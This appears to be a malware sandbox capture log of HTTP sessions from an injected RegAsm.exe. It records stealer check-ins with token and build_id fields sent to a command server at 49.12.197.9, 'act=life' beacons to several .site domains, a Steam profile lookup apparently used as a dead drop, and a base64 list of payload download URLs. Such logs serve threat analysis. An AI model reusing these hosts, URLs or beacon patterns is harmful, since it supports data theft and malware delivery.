2024-10-02 03:19:53 UTC	276	IN	Data Raw: 31 30 38 0d 0a 4d 54 49 32 4d 7a 55 78 4f 58 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 73 5a 47 31 7a 4c 7a 59 32 5a 6d 4a 6d 59 32 4d 35 4f 54 59 7a 59 32 46 66 62 47 52 6d 63 32 35 68 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 4d 54 49 32 4d 7a 55 79 4d 48 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 73 5a 47 31 7a 4c 7a 59 32 5a 6d 4a 6d 59 32 4e 6b 4f 44 4d 33 59 57 4e 66 64 6d 46 6b 5a 32 64 6b 63 32 45 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 6a 59 7a 4e 54 49 78 66 47 68 30 64 48 41 36 4c 79 38 78 4e 44 63 75 4e 44 55 75 4e 44 51 75 4d 54 41 30 4c 33 42 79 62 32 63 76 4e 6a 5a 6d 59 6d 5a 6a 59 7a 4d 77 4d 57 45 7a 4d 56 39 7a 64 33 64 7a 4c 6d Data Ascii: 108MTI2MzUxOXxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9sZG1zLzY2ZmJmY2M5OTYzY2FfbGRmc25hLmV4ZXwxfGtra2t8MTI2MzUyMHxodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9sZG1zLzY2ZmJmY2NkODM3YWNfdmFkZ2dkc2EuZXhlfDF8a2tra3wxMjYzNTIxfGh0dHA6Ly8xNDcuNDUuNDQuMTA0L3Byb2cvNjZmYmZjYzMwMWEzMV9zd3dzLm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:54 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:54 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------DHDHJJJECFIECBGDGCAACont
2024-10-02 03:19:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:55 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	104.21.77.132	443	4484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:56 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: questionsmw.store
2024-10-02 03:19:56 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:19:56 UTC	776	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:19:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mnmt0ss1abus9lt7s5tlfu2ier; expires=Sat, 25 Jan 2025 21:06:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f7Ux17o0HrIBIPY%2FO6kv0z8V7ZjffbxAeh8lWq3v%2FnsTW3evbFh2eZNeiza3SuE%2BoQuk50gsMmhurYE%2B5RMIieLNTAQpXytWMavr3XSysG8XBH0d5GUuZqe57tjGnZdHb1JwLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18dc07fb942bb-EWR
2024-10-02 03:19:56 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:19:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	188.114.97.3	443	4484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:57 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: soldiefieop.site
2024-10-02 03:19:57 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:19:57 UTC	770	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:19:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ok7soik80t51974pd7trg5ettu; expires=Sat, 25 Jan 2025 21:06:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lu2JTYBoqp8H%2FJBje00SGx8GYpzEmVYmEQmFqZpFNkw1shw%2BfuilPXVmHDZqGpngaQ72liB%2FavcS6Pqwlfe5aZEIjvZ%2FYpMQtl%2FWrisW4LiOGSi6quGq8l8Q1xaaJUBZqWFE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18dc72e360f3f-EWR
2024-10-02 03:19:57 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:19:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49768	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:57 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:57 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------CAKKEGDGCGDAKEBFIJECCont
2024-10-02 03:19:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:58 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49769	172.67.152.190	443	4484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:58 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: abnomalrkmu.site
2024-10-02 03:19:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:19:58 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:19:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vcn58rv6ldash55aqfofg44niq; expires=Sat, 25 Jan 2025 21:06:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OzDcUQR2ibA6uJJbyRH4DmC4TmGewt%2BDtafgJYsmv1D%2BxlQgGWGBYTpszjDstwac1nn%2FyOXR8DDB4uKeDA3ASawhAjNZZ73qd5xpCbz2rF4W1uelmVq9HsUbzIZarpOF7YFb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18dcd2bb442d0-EWR
2024-10-02 03:19:58 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:19:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49770	172.67.184.196	443	4484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:59 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treatynreit.site
2024-10-02 03:19:59 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:19:59 UTC	764	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:19:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e18522qnn2qr0omvj8p4gelagl; expires=Sat, 25 Jan 2025 21:06:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pOeWYKcxbizsD85HY51QNuU3Rhq%2B9x4m8t1toUaA1sfvSWeYqTOwjS80EaGQqxIOJmqUKegtTI1hLrQzmLiJoM1oEmvyxVVPhmjaSapaOSU%2F6rWwFXpfje34pIf2GHattoTm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18dd31f3e4334-EWR
2024-10-02 03:19:59 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:19:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49771	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:59 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:59 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------GHDAAKJEGCFCAKEBKJJECont
2024-10-02 03:20:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:00 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49772	104.21.18.193	443	4484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:00 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: snarlypagowo.site
2024-10-02 03:20:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:00 UTC	778	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tndn6d39h8gacnh9p6gss65dl7; expires=Sat, 25 Jan 2025 21:06:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MN22WfyoEKS5vjWoHX0rCn9AsigGBidSWxnVtsypv5W0Uy%2BotuskHz7x8DEjFAOORjc%2B1X3FveW9ZJq%2FLOzoFliXiE6LYzxXXpwiWzfRg5gUBJR95mcuH3xEShQ%2F%2BG9REY4JNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18dda1b0b43ac-EWR
2024-10-02 03:20:00 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49773	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:01 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCBAFCGDAAKFIDGIEG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:01 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 Data Ascii: ------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------EBGCBAFCGDAAKFIDGIEGCont
2024-10-02 03:20:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49774	104.21.21.3	443	4484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:01 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mysterisop.site
2024-10-02 03:20:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:01 UTC	795	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=srf7djb2oosfr2og1mjtmebus8; expires=Sat, 25 Jan 2025 21:06:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RZ6wVXh6ri3hRk0xv7FJ6Mx2IAlPVkDDPCaTlGY1ALQHpOHU7yKUVS9ddLJHBJxwJwSj%2BQ5Wzme%2F5ysBHwfdQ5iUv1tEx39Q35x0ZOLPy4SJ5%2BwRw2MTKKbgz0mqxp%2B%2FrlI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18de01db819df-EWR
2024-10-02 03:20:01 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49776	104.21.17.174	443	4484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:02 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: absorptioniw.site
2024-10-02 03:20:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:02 UTC	788	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g45sgls78q1j79nrr05fh2d36e; expires=Sat, 25 Jan 2025 21:06:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6%2F5jSC2FSvADsk8RafZiye6ExGtA%2BT5Zdc%2FS9%2Bio6FHgP%2B%2FlFAKwVMUW%2FWbdSFQ53gnUdUResLY%2BYV6fgi2eh3K25TCbjNi6nrR2VkjmRhD6gQ%2FuIheibKGXN9NZ%2FnwhCAZMdA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18de74f118cc3-EWR
2024-10-02 03:20:02 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49778	104.102.49.254	443	4484	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:03 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-02 03:20:03 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 03:20:03 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=514be805805bd490cb03fa59; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 03:20:03 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
